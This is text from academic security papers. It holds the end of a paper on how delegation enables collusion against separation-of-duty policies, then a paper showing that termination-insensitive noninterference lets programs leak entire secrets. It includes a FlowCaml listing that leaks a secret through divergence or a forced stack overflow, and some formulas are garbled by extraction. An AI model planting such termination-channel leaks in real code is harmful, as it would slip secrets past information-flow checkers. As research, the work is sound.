Assume that Alice has performed s1 in an instance X of the workflow but she has to
leave before performing s2. If c is a Type-1 constraint (i.e. c = ct〈s1, s2, =, 1〉), then
Alice may delegate her privilege r to another user Bob who may complete s2 in X by
presenting the pair 〈Alice, r〉 to the system; but if c is a Type-2 constraint, then s2 of X
cannot be completed until Alice comes back. In situations where it is more beneficial
to complete the task, we should declare c as Type-1. In contrast, in situations where
security is given high priority and we would rather have the task unfinished than allow
another user to involve, we should declare c as Type-2. The choice between Type-1 and
Type-2 constraints can be viewed as a flexibility-security trade-off. Our system provides
the options and leaves the decisions to security policy designers.

Next, we prove that our workflow system is secure with respect to delegation. The
general idea of the proof is that, for every workflow instance that is completed, we
modify its user-step assignment by replacing the actual performer of each step with the
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corresponding source of privilege. Since our constraint evaluation procedure always
takes sources into account, the modified user-step assignment must be valid for the
workflow in the initial state of the system. This implies that the set of sources can
complete the workflow in the initial state.

Theorem 1. The workflow system employing source-based enforcement mechanism is
secure with respect to delegation.

Due to page limit, the proof of Theorem 1 is given in a technical report [13].

6 Related Work

Delegation has received considerable attention from the research community. In [2,3],
Barka and Sandhu proposed a framework for role-based delegation models (RBDM),
which identifies a number of characteristics related to delegation. Example characteris-
tics are monotonicity, totality, and levels of delegation.

There exist a wealth of delegation models in literature [8,16,15,11,1,7,6]. L. Zhang
et al. [15] presented a role-based delegation model called RDM2000. Their model sup-
ports the specification of delegation authorization rules to impose restrictions on which
roles can be delegated to whom. X. Zhang et al. [16] proposed a role-based delegation
model called PBDM, which supports both role and permission level delegation. Their
model controls delegation operations through the notion of delegatable roles such that
only permissions assigned to these roles can be delegated to others. In [6], Crampton
and Khambhammettu proposed a delegation model that supports both grant and trans-
fer. Atluri and Warner [1] studied how to support delegation in workflow systems. They
extended the notion of delegation to allow conditional delegation, where conditions can
be based on time, workload and task attributes. One may specify rules to determine
under what condition a delegation operation should be performed.

All the above work focus on the modeling and management of delegation, while our
paper focuses on the security impact of delegation on access control systems. None of
the above work proposes a formal notion of security regarding delegation or studies
mechanisms to enforce security in access control systems with delegation support.

In [9], Shaad observed that delegation and revocation features of a system may be
used to circumvent separation of duty properties. He gave an example to illustrate an
attack conducted by a single user. In his example, there is a separation of duty policy
which requires that no single user may first access an object o using privilege auth1 and
then access o again with privilege auth2. The system he designed enforces such a policy
by allowing a user to access o only if the user does not have both auth1 and auth2 at
the time of access. Let Alice be a malicious user having both auth1 and auth2. Alice
first transfers auth2 to another user Bob so as to temporarily lose auth2. Next, she
accesses o with auth1 and then revokes auth2 from Bob to regain the privilege. Finally,
Alice transfers auth1 to Bob and then accesses o again using auth2. In this case, the
separation of duty policy is circumvented. This example differs from our examples in
Section 3.1 in a couple of ways:
1. The attack in [9] is conducted by a single user (Alice), as the delegatee (Bob) is

not actively involved. In contrast, our examples are on multi-user collusion, where
all principles are actively involved in the attack.
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2. The attack in [9] relies on a specific way in which separation of duty is imple-
mented. In particular, it is assumed that the system does not maintain any historical
record. But this is not the case in most of the existing workflow authorization sys-
tems [4,5,10,14], as these systems keep track of which users have performed which
steps so as to enforce constraints. In contrast, our examples apply to workflow au-
thorization systems in existing literature.

In general, the example in [9] has a very different nature from our examples in Sec-
tion 3.1. Shaad’s paper [9] is about an access control framework and the interaction
between delegation and security policies is not the main focus of the paper. Problems
such as collusion and enforcement mechanisms for security, which are studied in our
paper, are not discussed in [9].

7 Conclusion

We have studied the impact of delegation on the security of access control systems.
Collusion is a potential threat in those access control systems that support delegation.
We have formally defined the notion of security with respect to delegation. A system
that is secure regarding delegation is resistent to collusion. We have also studied differ-
ent mechanisms to enforce security. In particular, we have designed a workflow system
that implements the source-based enforcement mechanism through a novel constraint
evaluation approach. Our design is secure and introduces little performance overhead.
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Termination-Insensitive Noninterference
Leaks More Than Just a Bit
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Abstract. Current tools for analysing information flow in programs build upon
ideas going back to Denning’s work from the 70’s. These systems enforce an
imperfect notion of information flow which has become known as termination-
insensitive noninterference. Under this version of noninterference, information
leaks are permitted if they are transmitted purely by the program’s termination be-
haviour (i.e., whether it terminates or not). This imperfection is the price to pay
for having a security condition which is relatively liberal (e.g. allowing while-
loops whose termination may depend on the value of a secret) and easy to check.
But what is the price exactly? We argue that, in the presence of output, the price
is higher than the “one bit” often claimed informally in the literature, and ef-
fectively such programs can leak all of their secrets. In this paper we develop a
definition of termination-insensitive noninterference suitable for reasoning about
programs with outputs. We show that the definition generalises “batch-job” style
definitions from the literature and that it is indeed satisfied by a Denning-style
program analysis with output. Although more than a bit of information can be
leaked by programs satisfying this condition, we show that the best an attacker
can do is a brute-force attack, which means that the attacker cannot reliably (in a
technical sense) learn the secret in polynomial time in the size of the secret. If we
further assume that secrets are uniformly distributed, we show that the advantage
the attacker gains when guessing the secret after observing a polynomial amount
of output is negligible in the size of the secret.

1 Termination-Insensitive Noninterference

Does the following program leak its secret?

for i = 0 to secret (Program 1)
output i on public_channel

Let us assume that the secret is a natural number. The program simply counts from zero
up to the value of the secret, so it is clearly not secure. What about the following minor
variation?

for i = 0 to secret (Program 1a)
output i on public_channel

while true do skip

The only difference here is that after performing its output the program goes into a non
productive infinite loop. Is it reasonable to consider program 1a to be secure if program
1 is not? Now consider the following program:

S. Jajodia, and J. Lopez (Eds.): ESORICS 2008, LNCS 5283, pp. 333–348, 2008.
c© Springer-Verlag Berlin Heidelberg 2008



334 A. Askarov et al.

for i = 0 to maxNat ( (Program 2)
output i on public_channel
if (i = secret) then (while true do skip)

)

Program 2 is semantically equivalent to program 1a. But it has an important differ-
ence. Program 2 is deemed acceptable by state-of-the-art information flow analysis tools
such as Jif [MZZ+08], FlowCaml [Sim03], and the SPARK Examiner [BB03,CH04].
Such tools are, at their core, built on ideas going back to Denning and Denning’s semi-
nal paper about certifying programs for secure information flow [DD77]. The programs
1 and 1a, for example, would be rejected as insecure because they contain a “high” loop
(a loop depending of the value of a secret) which assigns to a “low” variable (a public
channel) causing an implicit information flow from secret to public.

For program 2 however, a Denning-style certification (and in particular all the con-
crete tools mentioned above) would say that the program is secure. Such an analysis
would reason as follows: the outer loop is “low” because the loop condition does not
refer to the secret, and so the output statement is permitted. The if-expression, on the
other hand, is considered secure simply because it does not raise any exceptions or
assign to anything at all.

In order to justify Denning-style analyses, an imperfect notion of information flow
which has become known as termination-insensitive noninterference1 is widely used.
Under this version of noninterference, information leaks are permitted if they are trans-
mitted purely by the program’s termination behaviour. But what is the price to pay for
having a relatively liberal security condition? Program 2 above shows that, in the pres-
ence of output, the price is higher than the “one bit” often claimed informally in the
literature, and effectively such programs can leak all of their secrets.

Note that the same issue arises with other forms of abnormal termination than diver-
gence. As we illustrate in Section 6, a stack/heap overflow or other computation with
an uncaught runtime exception instead of the infinite loop would lead to the same prob-
lems, which suggests that we cannot reduce the termination channel to a special case
of a timing channel. The results in this paper are not limited to any particular form of
abnormal termination, although, for simplicity, we model only divergence explicitly.

Batch-job noninterference. A “batch-job” style of termination-insensitive security
has been widely used to argue the correctness of Denning-style program analyses. This
style ignores nonterminating runs and assumes that the attacker can observe only the
final state of a computation. In particular, the batch-job notion of termination-insensitive
noninterference corresponds to the correctness condition by Volpano et al. [VSI96] for
Denning-style analysis:

Definition 1 (BTINI). A deterministic program C satisfies batch-job termination-insen-
sitive noninterference (BTINI) if, for any memories M and N that agree on public (low)
variables, the final memories produced by running C on M and on N also agree on public
variables (provided that both runs terminate successfully).

1 This terminology referring to insensitivity to the termination channel (for signalling informa-
tion through the termination or nontermination of a computation), seems to have been coined
in [SS99], although the concept arises already in discussions from e.g. [Fen74].
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The above definition permits, for example:

if (secret = 0) then (while true do skip)
public := 0

The general intuition here is that such programs leak only a little – at most one bit per
run.

Despite its popularity, the above definition is wholly unsuitable if attackers can ob-
serve intermediate results such as outputs. For such programs we cannot turn a blind
eye when programs fail to terminate, otherwise we would deem the following program
secure:

output secret on public_channel
while true do skip

In [VSI96], “a program that needs to ‘write output’ does so by an assignment to an ex-
plicit location”. Similar issues with inappropriate use of batch-job noninterference arise
elsewhere. For example, both Askarov et al. [AHS06] and Le Guernic et al. [LBJS08]
consider languages with output, but their noninterference conditions ignore divergent
runs. Askarov and Sabelfeld [AS07] model an attacker who observes intermediate val-
ues – but only if the program terminates (a fact also raised in [BNR08]).

A related problem is the belief that as long as the attacker “cannot observe termi-
nation” then a program leaks at most one bit. As our opening examples show, this is
clearly not the case once output is possible. For example, JFlow/Jif features outputs
but still appeals to the “one-bit” argument: “JFlow treats this error 〈heap exhaustion〉
as fatal, preventing it from communicating more than a single bit of information per
program execution” [Mye99].

One solution to these problems would be to abandon the weaker notion of security
that is inherent in a Denning-style analysis. But Denning-style termination-insensitive
analyses are popular not because of the semantic notion of security that they enforce,
but because they allow more programs. Alternative stronger security conditions would
require either a difficult liveness analysis to show the absence of divergent behaviour,
or a draconian restriction on the programs that can be written (e.g., no loops depending
on secret guards are allowed [VS97]).

Generalising BTINI. So, what is the right definition of termination-insensitive non-
interference for languages with output, and moreover what security guarantees does it
provide?

In this paper we define a suitable notion of termination-insensitive noninterference
(Section 2), which we believe correctly captures the security property guaranteed by
Denning-style program analyses. Instead of considering only terminating runs, this no-
tion incorporates insensitivity to divergence in intermediate states. The formulation is
intuitive because it is based on a more explicit attacker model which reasons about an
attacker’s knowledge as it evolves during a run, rather than the more standard “two run”
style presentations of noninterference properties. We substantiate our claim that this is a
suitable condition for a Denning-style analysis by showing that a formalisation [VSI96]
of Denning’s analysis for a language with output satisfies this condition (Section 3).



336 A. Askarov et al.

Fig. 1. Our results on termination-insensitive noninterference (TINI)

We then show that program 2 given above is the best an attacker can do – a brute force
search of the space of possible secrets. We present this as two results. In Section 4,
we show that it is impossible to reliably leak the secret by a program that satisfies
termination-insensitive noninterference in polynomial time in the size of the secret. In
Section 5, we show that if the secret is uniformly distributed, then the probability of the
attacker guessing the secret after observing a polynomial number of outputs (again, in
the size of the secret) gives only a negligible advantage over guessing the secret without
running the program.

We discuss further examples and simple experiments with Jif, FlowCaml and SPARK
Examiner in Section 6 and conclude in Section 7.

Figure 1 schematically illustrates the main contributions of the paper. The soundness,
computational and probabilistic results are proved in Theorems 1, 2 and 3, respectively.
The gray area corresponds to the attacker that is capable of observing divergence/ab-
normal termination.

2 Semantics, Attacker Model and Noninterference

In this section we define a suitable definition of termination-insensitive noninterference
(TINI) which we believe suitably captures the intentions of Denning-style analyses, and
generalises the batch-job definitions.

Computation model. We use a model of stateful computation represented as a la-
belled transition system consisting of commands (C, C′. . . ) together with a memory
(M, M ′. . . ) performing computations which produce low observable outputs. Since
noninterference only constrains low outputs we simply do not model high outputs.

For simplicity we also assume that a memory is simply a pair consisting of a
low (public) and a high (secret) value. We write such a memory M as a pair LH
where L denotes the low part of the memory and H the high part. We also refer

to the respective variables as L and H . We write 〈C, M〉 �→ 〈C′, M ′〉 to denote a
computation step producing a low observable output � and evolving to 〈C′, M ′〉. We

write 〈C, M〉
��→ 〈C′, M ′〉 in the usual way to denote the existence of a sequence of

transitions 〈C, M〉 �1→〈C1, M1〉
�2→· · · �n→〈Cn, Mn〉 where �� = �1, . . . , �n, and 〈C, M〉

��→
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to mean ∃〈C′, M ′〉.〈C, M〉
��→ 〈C′, M ′〉. We write 〈C, M〉⇑ to mean that 〈C, M〉 has

no labelled transitions. Note that we do not explicitly model normal termination, or dis-
tinguish stuck configurations from divergence. This is without loss of generality since
observation of termination can be modelled easily by adding specific termination out-

puts at the end of each command. We write 〈C, M〉
��⇑→ to mean 〈C, M〉

��→ 〈C′, M ′〉 for
some 〈C′, M ′〉 such that 〈C′, M ′〉⇑. Let α range over either � or the symbol ⇑, and
let �α range over sequences of the form �� or ��⇑. We write ��� to denote the sequence ��
followed by the single output �.

We henceforth assume a deterministic labelled transition system, i.e., if 〈C, M〉 �→
〈C, M〉 and 〈C, M〉 �′

→ 〈C′, M ′〉 then � = �′ and 〈C, M〉 = 〈C′, M ′〉.

On modelling divergence. For the purposes of this paper, we assume an attacker who
can observe divergence. We take the view that there is a natural boundary between
observing a program’s timing behaviour and supposing that the attacker cannot even
recognise divergence (what is such an attacker assumed to do: wait forever?).

We make a critical distinction between termination-(in)sensitivity in the attacker
model vs. termination-(in)sensitivity in the security condition. We observe that the
two are sometimes conflated in the literature. But unobservable divergence does
not automatically make a security definition termination-insensitive. For example,
by forcing all processes to diverge Huisman et al. [HWS06] achieve a form of
termination-insensitivity in the attacker model, but their noninterference condition is
not termination-insensitive in the traditional sense (despite the claims in the paper): it
disallows programs like (while (H=0)do skip); L:=1.

Beyond batch-job noninterference. As we mentioned in the introduction, BTINI is
an inappropriate notion for programs which actually produce observable outputs even
though they do not terminate.

To define a more appropriate generalisation of batch-job termination-insensitive non-
interference we model the knowledge gained by an attacker who (i) knows the initial
low part of the memory, and (ii) observes some (not necessarily maximal) output trace
��, and (iii) knows the program and is able to make perfect deductions about the semantic
behaviour of the program.

Definition 2 (Observations). Given a program C and a choice of low input L, the set
of possible observation of a run of the program is defined:

Obs(C, L) = {�α | 〈C, LH〉 �α→}

Definition 3 (Attacker’s knowledge). The attacker’s knowledge from observing �α
from a run of a program C with initial low memory L, written k(C, L, �α), is defined to
be the set of all possible high memories that could have lead to that observation:

k(C, L, �α) = {H |〈C, LH〉 �α→}
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�

��

�

�

k

��

�1

�2 �3

Fig. 2. Change of knowl-
edge with low outputs

This is based on the notion of knowledge defined in
[AS07]. We include the possibility that the attacker explic-
itly observes divergence, and this will be used as a worst-
case assumption in the following sections.

Figure 2 illustrates how attacker’s knowledge changes
with the observation of successive low outputs. The smaller
the knowledge set, the more the attacker knows. In the ex-
treme case a singleton set represents complete knowledge of
the high memory. The empty set represents inconsistency –
an impossible observation. Knowledge is also monotonic –
the more you see the more you learn:

k(C, L, ��α) ⊆ k(C, L, ��)

From this notion of knowledge we can build various notions of noninterference. The
strong termination-sensitive notion corresponds to the demand that at each step of out-
put the attacker learns nothing new about the initial high memory. This can be formu-
lated in the following way:

Definition 4 (Termination-sensitive noninterference). C satisfies termination-
sensitive noninterference if whenever ��α ∈ Obs(C, L) then k(C, L, ��α) = k(C, L, ��).

It perhaps looks nonstandard in this definition to include the explicit observations of
divergence. In fact in this deterministic setting it turns out to make no difference to the
definition if we restrict the α to α �= ⇑. In a nondeterministic setting there are subtle
differences as to whether one explicitly observes divergence or not (cf. [JL00]), but this
is not the concern of the present paper.

To define termination-insensitive noninterference we must relax the requirement that
nothing new is learned at each step. We allow leaks that would arise from observing
divergence. In the case of an output step, the idea is to permit some new knowledge
when observing the next output �, but only through the fact that there is some output.
However nothing should be learned from the actual value which is output – observing
one value teaches us as much as observing any other value.

Definition 5 (Termination-insensitive noninterference (TINI)). Program C satisfies
TINI if whenever ��� ∈ Obs(C, L) then k(C, L, ���) =

⋃
�′ k(C, L, ���′).

The term
⋃

�′ k(C, L, ���′) deserves some extra attention. In terms of knowledge (as rep-
resented by sets of possible memories), union corresponds to disjunction of knowledge.

More directly, this union can be defined as {H | 〈C, LH〉
���′
→, for some �′ }.

Note that, in the definition, �, �′ �= ⇑: the definition intentionally places no restric-
tions on what might be learned if an attacker were able to observe divergence.

The following proposition captures a number of equivalent formulations of TINI. For
example, 1(2) says that TINI is equivalent to saying that what is learned from observing
a specific run �� is no more that what is learned by knowing that there exists a run of that
length.
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Proposition 1. The following properties of a program C are equivalent to TINI:

1. For all L, if ��� ∈ Obs(C, L) and ���′ ∈ Obs(C, L) then k(C, L, ���) = k(C, L, ���′)
2. For all L, if �� ∈ Obs(C, L) then k(C, L, ��) =

⋃
|��|=|��′| k(C, L, ��′)

3. For all L, if 〈C, LH〉
��→ then for all H ′ either (i) 〈C, LH ′〉

��→, or (ii) 〈C, LH ′〉
��′⇑→

where ��′ is a prefix of ��.
4. For all L, if ��� ∈ Obs(C, L) and ���′ ∈ Obs(C, L) then � = �′

5. For all L, the set {�� | 〈C, LH〉
��→ } forms a chain under the prefix ordering.

The first two variants are simple consequences of the definition. The third corresponds
to a more classic “two run” style definition; The last two characterisations, unlike the
earlier ones, rely crucially on the assumption that computation is deterministic.

TINI subsumes BTINI. It is easy to see from this proposition that TINI generalises
BTINI by considering a batch-job program to be one which performs at most one out-
put, at the point of termination. This means that for such programs C and a given L,

{�� | 〈C, LH〉
��→ } contains at most a single trace of one output, and hence for any two

runs which terminate they must produce the same output.

3 Enforcement

We show that a simple Denning-style static analysis (which is at the heart of both
Jif [MZZ+08] and FlowCaml [Sim03]) for a language with outputs does indeed en-
force termination-insensitive noninterference.

Consider a simple imperative language with an output(e) primitive that outputs the
value of e on a low channel. The semantics of the language builds on standard small-
step semantics and forms a labelled transition system, as described in Section 2. The
most interesting semantic rule is the one for output:

e(LH) = v

〈output(e), LH〉 v→ 〈stop, LH〉

Provided expression e evaluates to v in memory LH , the configuration
〈output(e), LH〉 makes a step with low-observable event v to a configuration with
a halting command stop and unchanged memory.

Figure 3 displays the type-based enforcement rules. The rules draw on those of Vol-
pano et al. [VSI96]. Typing environment Γ is defined as Γ (L) = low and Γ (H) =
high . Typing judgement for expressions has the form , e : �. Expression e is typed as
low , e : low only if no high variables occur in e. Typing judgement for commands
has the form pc , c, where pc is the program counter that keeps track of the con-
text. Explicit flows (as in L:=H) are prevented by the typing rule for assignment that
disallows assignments of high expressions to low variables. Implicit flows (as in if (

H=0)then L:=0 else L:=1) are prevented by the pc mechanism. It demands that
when branching on a high expression, the branches must be typed under high pc, which
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� n : �
Γ (x) = � � � �′

� x : �′
� e : � � e′ : �

� e op e′ : �

pc � skip
� e : � � � pc � Γ (x)

pc � x := e

pc � C1 pc � C2

pc � C1; C2

� e : � � � pc � C1 � � pc � C2

pc � if e then C1 else C2

� e : � � � pc � C

pc � while e do C

� e : low
low � output(e)

Fig. 3. Typing rules

prevents assignments to low variables in the branches. The rule for output is a natural
extension of the rules by Volpano et al. It has the same constraints on the expression
and context as in the rule for assigning to a low variable.

We prove that the type system indeed guarantees termination-insensitive noninter-
ference (TINI).

Theorem 1. If pc 
 C then C satisfies termination-insensitive noninterference.

According to the definition of TINI, whenever ��� ∈ ObsN (C, L), we need to prove
k(C, L, ���) =

⋃
�′ k(C, L, ���′). The inclusion k(C, L, ���) ⊇

⋃
�′ k(C, L, ���′) is more

interesting, because k(C, L, ���) ⊆
⋃

�′ k(C, L, ���′) is vacuous. We prove the former
inclusion by induction on the length |��| of the sequence of low events �� generated by C.
A key property that we use in the proof is stated in the following lemma:

Lemma 1. Suppose we have the following computation sequence starting with a con-
figuration 〈C0, L0H0〉:

〈Ci, LiHi〉
�i+1→ 〈Ci+1, Li+1Hi+1〉, i ∈ {0 . . . n − 1}.

If C0 is typable, and H ′
0 ∈ k(C0, L0, �1 . . . �n) then there exist H ′

1, . . . , H
′
n such that

〈Ci, LiH
′
i〉

�i+1→ 〈Ci+1, Li+1H
′
i+1〉, i ∈ {0 . . . n − 1}.

The lemma guarantees that if a typable program generates a sequence of events from
some initial memory, then traces that produce the same sequence from other low-
equivalent initial memories have to agree on commands in configurations that follow
each low event.

4 Computational Security Implication

The type system of the previous section verifies that program 2 from the introduction
is TINI. Our aim now is to show that this program is in some sense as bad as it gets –
the only way for a TINI program to reliably leak its secret – given that the attacker can
only observe a single run – is to take a non polynomial amount of time in the size of the
secret.
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A refined attacker model We begin by refining our attacker model. The refinement is
to include a notion of time – which represents a bound on the length of the output
sequences that an attacker will observe. As is usual we express results in terms of the
size of the secret, N , and this is threaded through our definitions accordingly.

Definition 6 (Bounded Observations).

ObsN (C, L) = {�α | 〈C, LH〉 �α→, 0 ≤ H < 2N}

Definition 7 (Attacker knowledge (bounded version)). The attacker’s knowledge
from observing �α by program C with initial low memory L, written kN (C, L, ��), is
defined to be the set of all high memories up to size N that could have lead to that
observation:

kN (C, L, �α) = {H |H ∈ k(C, L, �α), 0 ≤ H < 2N}

The bounded version of attacker knowledge kN differs from the knowledge k simply in
that the size of the domain of H is bounded (and known to the attacker).

Definition 8 (TINI (bounded version)). Program C satisfies TINI if for all N , when-
ever ��� ∈ ObsN(C, L) then kN (C, L, ���) =

⋃
�′ kN (C, L, ���′).

The only difference from the earlier definition is that the domain of secrets is bounded
and known to the attacker – but we quantify over all such bounds. Then we have

Lemma 2. A program C satisfies TINI (bounded version) if and only if it satisfies TINI.

Proof. We prove the left to right implication – the proof for the other direction is a sim-
pler variant. We prove the contrapositive. Suppose C does not satisfy TINI. Then from
proposition 1(1) there must exist two different observations ��� and ���′ in ObsN (C, L)
for some L which yield different knowledge sets. Let H be a witness to this difference.
Without loss of generality, assume H ∈ k(C, L, ���) and H �∈ k(C, L, ���′). Now take
any N such that H < 2N . Clearly H ∈ kN (C, L, ���) and H �∈ kN (C, L, ���′) and hence
C is not TINI for bound N . �

Reliable leakage. We let the attacker be a pair of families ({Ln}n≥0, {tn}n≥0), indexed
over natural numbers n ∈ N, where for any given natural N , LN is a low memory that
the attacker chooses based on the size of the secret N , and tN – the attacker’s running
time – is the maximum time during which the attacker observes a run for secrets of that
size. We will henceforth write {Ln, tn} as an abbreviation for ({Ln}n≥0, {tn}n≥0).

A program leaks reliably for an attacker if he is guaranteed to learn the secret by
observing a single run of the system.

Definition 9 (Reliable leakage). Say that C leaks reliably for an attacker {Ln, tn} if,
for each choice of N , and H ∈ {0, . . . , 2N − 1} there is some �α ∈ ObsN (C, LN ) such
that |�α| ≤ tN and kN (C, LN , �α) = {H}. Say that C leaks reliably within running time
{tn} if there exists an attacker with that running time for which C leaks reliably.

For example, for i = 0 to H (output i) leaks reliably within running time 2n,
and output H leaks reliably within running time λn.1.

We can now state the main theorem of this section:
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Theorem 2. If C is TINI then C does not leak reliably within any polynomial running
time.

To prove the theorem we introduce the notion of knowledge trees.

Knowledge tree Given a program C and an attacker {Ln, tn} the set of possible obser-
vations that the attacker can make within the running time tN is

TN = {�α ∈ ObsN (C, LN ) | |�α| ≤ tN}

This set is non-empty and prefix-closed. As is standard, such a set defines a tree. This
tree is finite (finite height: |�α| ≤ tN ; finite branching: finite set of possible inputs
0 ≤ H < 2N plus determinism).

Definition 10 (Knowledge tree). The Knowledge tree for N is the tree defined by TN

with each node �α labeled by its knowledge set kN (C, L, �α).

We look at how knowledge trees look for N when tN = 2. (These simple examples do
not use L so it is not necessary to specify LN .)

Example 1. Consider the program

for i = 1 to N (
output (H mod 2) on public_channel
H := H div 2

)

This program leaks the N least significant bits of H . The knowledge tree for N when
tN = 2 is presented in Figure 4(a). Here, annotations on the edges of the tree correspond
to outputs observed by the attacker. K0 and K1 are knowledge sets of the form

Ka = {H | 0 ≤ H < 2N , the least significant bit of H is a} for a ∈ {0, 1},

K00, K01, K10, and K11 are sets of the form

Kab = {H | 0 ≤ H < 2N , the two least significant bits of H are ab} for a, b ∈ {0, 1}.

Example 2. Consider now the program

for i=0 to 2ˆN-1 (
output i on public_channel
if (i = H) then

(while true do skip)
)

The knowledge tree for this program when tN = 2 is shown in Figure 4(b). As in the
previous example, the annotations on the edges correspond to the attacker’s observa-
tions. Thus, if the attacker observes divergence after the first output, then the knowledge
about H immediately reduces to the singleton set {0}. On the other hand, observing 1
as the result of the second output only shrinks the size of the knowledge set by one.

We are now ready to formulate some properties of knowledge trees.
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0 1

K0
0 1

K1
0 1

K00 K01 K10 K11

(a) Example 1

0

⇑ 1

{0} {H | 1 ≤ H < 2N}
(b) Example 2

Fig. 4. Example knowledge trees

Lemma 3 (Disjointness). Given a program C and attacker {Ln, tn}, let �� ∈ TN be an
internal node in the knowledge tree with children ��α1, . . . ��αn. Let K be the knowledge
set for �� and let Ki be that for child i, 1 ≤ i ≤ n. Then the Ki are pairwise disjoint.

Proof. Suppose H ∈ Ki and H ∈ Kj , thus 〈C, LNH〉
��αi→ and 〈C, LNH〉

��αj→ . Since C
is deterministic, αi = αj .

�

The following proposition says that for programs satisfying TINI knowledge trees have
a specific form.

Proposition 1 If C satisfies TINI then for all choices of LN , tN , the knowledge tree
has the form:

More formally, for any �� ∈ ObsN (C, LN ), let
{��α1, . . . , ��αn} be the set {��α | ��α ∈ ObsN (C, LN )}. If
n > 1 then n = 2 and exactly one of α1, α2 is ⇑.

Proof. Suppose αi 	= ⇑ and αj 	= ⇑. Then since C satisfies TINI we have

kN (C, L, ��αi) =
⋃
�′

{kN(C, L, ���′)} = kN (C, L, ��αj)

By the Disjointness Lemma i = j. Hence at most one αi 	= ⇑. �

This brings us to the proof of Theorem 2.

Proof. By definition, the height of the knowledge tree for N is tN . If C leaks reliably
then the knowledge tree contains (at least) 2N distinct nodes, each labeled {H} for
some 0 ≤ H < 2N . Without loss of generality we may assume that each of these
singleton labels occurs on a leaf (otherwise we can prune the tree, thus choosing a
shorter running time). By Proposition 1 there are at most tN + 1 leaves, hence tN ≥
2N − 1. �
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5 Probabilistic Security Implication

The notion of reliable leakage in the previous section is quite strong – it requires that
there is never a single case when the attacker cannot deduce the exact value of the secret.
To obtain a result which says something about a wider class of programs we consider
the case when the attacker does not necessarily learn all the secret all the time, and
hence must guess.

In this section we show that, for programs satisfying TINI, if the secrets are chosen
according to a uniform distribution, then the advantage that an attacker gains by guess-
ing the secret based on a particular observation of the computation is negligible2 (as a
function of N ).

Suppose secrets 0 ≤ H < 2N are chosen with probability μ(H). Let C be a program
and let (Ln, tn) be an attacker. To guess a secret the attacker observes a computation
and hence deduces a knowledge set. For any H , let �α ∈ TN be the observation which
the attacker uses as a basis to guess the value of H . Since knowledge is monotonic –
the more an attacker observes the smaller the knowledge set – we may safely assume

the attacker chooses �α to be the longest �α ∈ TN such that 〈C, LNH〉 �α→, i.e. �α is a leaf
in knowledge tree (put another way, the attacker gets most information by waiting until
�α with length tN is produced or ⇑ is detected). Given a leaf �α ∈ TN let the knowl-
edge associated with �α be K�α = kN (C, LN , �α). Given this, how can an attacker best
guess the secret? The attacker can do no better than to choose from those elements of
kN (C, LN , �α) which have maximal probability according to μ. There is no disadvan-
tage for the attacker to choose among these deterministically, so let us assume that the
guess is given by a function gN (�α) ∈ K�α.

Now, the probability that �α is observed is just the sum of probabilities of all secrets

H such that 〈C, LN , H〉 �α→, i.e.:

μ(K�α) =
∑

H′∈K�α

μ(H ′)

Given that �α is observed, the probability that the secret is H ∈ K�α is μ(H)
μ(K�α) . Let

Leaf ⊆ TN be the set of all leaves in the knowledge tree. Then the probability that the
attacker guesses the secret is

GN =
∑

�α∈Leaf

μ(K�α) × μ(gN (�α))
μ(K�α)

=
∑

�α∈Leaf

μ(gN (�α))

For uniformly distributed secrets, define the attacker advantage to be GN − 1/2N

i.e., the difference between the probability of guessing the secret based on the knowl-
edge gained from observing a run, GN , and a “blind” guess of the secret (which has
probability 1/2N ).

Theorem 3. If C satisfies TINI, and secrets are chosen according to a uniform distrib-
ution, then the advantage for any polynomially-bounded attacker is negligible.

2 A negligible function is one that approaches zero faster than the reciprocal of any polynomial.
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Proof. Since μ is uniform then regardless of gN , μ(gN(�α)) = 1/2N . Thus, in this case,
the probability GN that the attacker guesses the secret is no better than∑

�α∈Leaf

1
2N

=
|Leaf |
2N

We have |Leaf | ≤ tN + 1. Thus, GN ≤ tN +1
2N , and hence the attacker advantage

is ≤ tN/2N . From the assumption that tN is polynomial in N , and the fact that the
product of a polynomial (tN ) and a negligible function (1/2N ) is negligible, the attacker
advantage is negligible. �

6 Practical Implications

As mentioned in Section 1 existing practical security-typed languages are based on
Denning-style analysis and as a result they accept programs like program 2 from Sec-
tion 1. We have encoded this program in Jif, FlowCaml and SPARK Ada to get a rough
estimate on the bandwidth that such an attack creates in the worst case.

Leaking by termination in FlowCaml. Listing 1 presents encoding of program 2 from
Section 1 in the FlowCaml security-typed language [Sim03].

flow !low < !stdout and !stdin < !high
let maxInt : !low int = 1000000000

let _ = let secret : !high int =
try read_int() with _ -> 0

in
for i = 1 to maxInt do

begin
print_int i; print_newline();
if i = secret then

while true do () done
end

done

Listing 1. Leaking by termination in FlowCaml

Leaking by crashing in FlowCaml. Similarly to divergence, one may also exploit
program crashing. In the example above we may force a stack overflow by replacing
the if statement with the following snippet:

if i = secret then
let rec crash x = let _ = crash x in crash x
in crash 1

Leaking secrets in Jif and SPARK Ada. Examples similar to the one above can be
constructed for Jif security-typed language and SPARK Ada. The listings of the corre-
sponding programs are given in the full version of this paper [AHSS08].
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Channel capacity. To get a rough estimate of how practical such an attack can be we
have performed a small experiment. For this, we have modified the program in Listing 1
in order to reduce the overhead related to printing on standard output. Instead, the out-
put has been replaced by a call to a function which has the same security annotations as
print_int, but instead of printing only saves the last provided value in a shared mem-
ory location. Observation of divergence is implemented as a separate polling process.
This process periodically checks if the value in the shared location has changed since
the last check. If the value is not changed this process decides that the target program
has diverged.

While the time needed to reliably leak the secret is exponential in the number of
secret bits, the rate at which this leakage happens also depends on the representation
of the secret, in particular, the time needed to check two values for equivalence. Not
surprisingly, the highest rate we observe is when secret is just an integer variable that
fits into a computer word. In this case a 32-bit secret integer can be leaked in under 6
seconds on a machine with 3GHz CPU. Assuming this worst-case rate we may estimate
time needed to leak a credit card number, typically containing 15 significant digits (50
bits), as approximately 18 1/2 days of running time. For larger secrets like encryption
keys, that are usually at least 128 bits in their size, such brute-force attacks are obviously
infeasible.

7 Conclusion

We have argued that in the presence of output, justifications of Denning-style analyses
based on claims that they leak “just a bit” are at best misleading. We have presented the
first careful analysis of termination-insensitive noninterference – the semantic condition
at the heart of many information flow analysis tools and numerous research papers based
on Denning’s approach to analysing information flow properties of programs.

We have proposed a termination-insensitive noninterference definition that is suit-
able to reason about output. This definition generalizes “batch-job” style notions of
termination-insensitive noninterference. The definition is tractable, in the sense that
permissive Denning-style analyses enforce it. Although termination-insensitive nonin-
terference leaks more than just a bit, we have shown that for secrets that can be made
appropriately large, (i) it is not possible to leak the secret reliably in polynomial running
time in the size of the secret; and (ii) the advantage the attacker gains when guessing
the value of a uniformly distributed secret in polynomial running time is negligible in
the size of the secret.
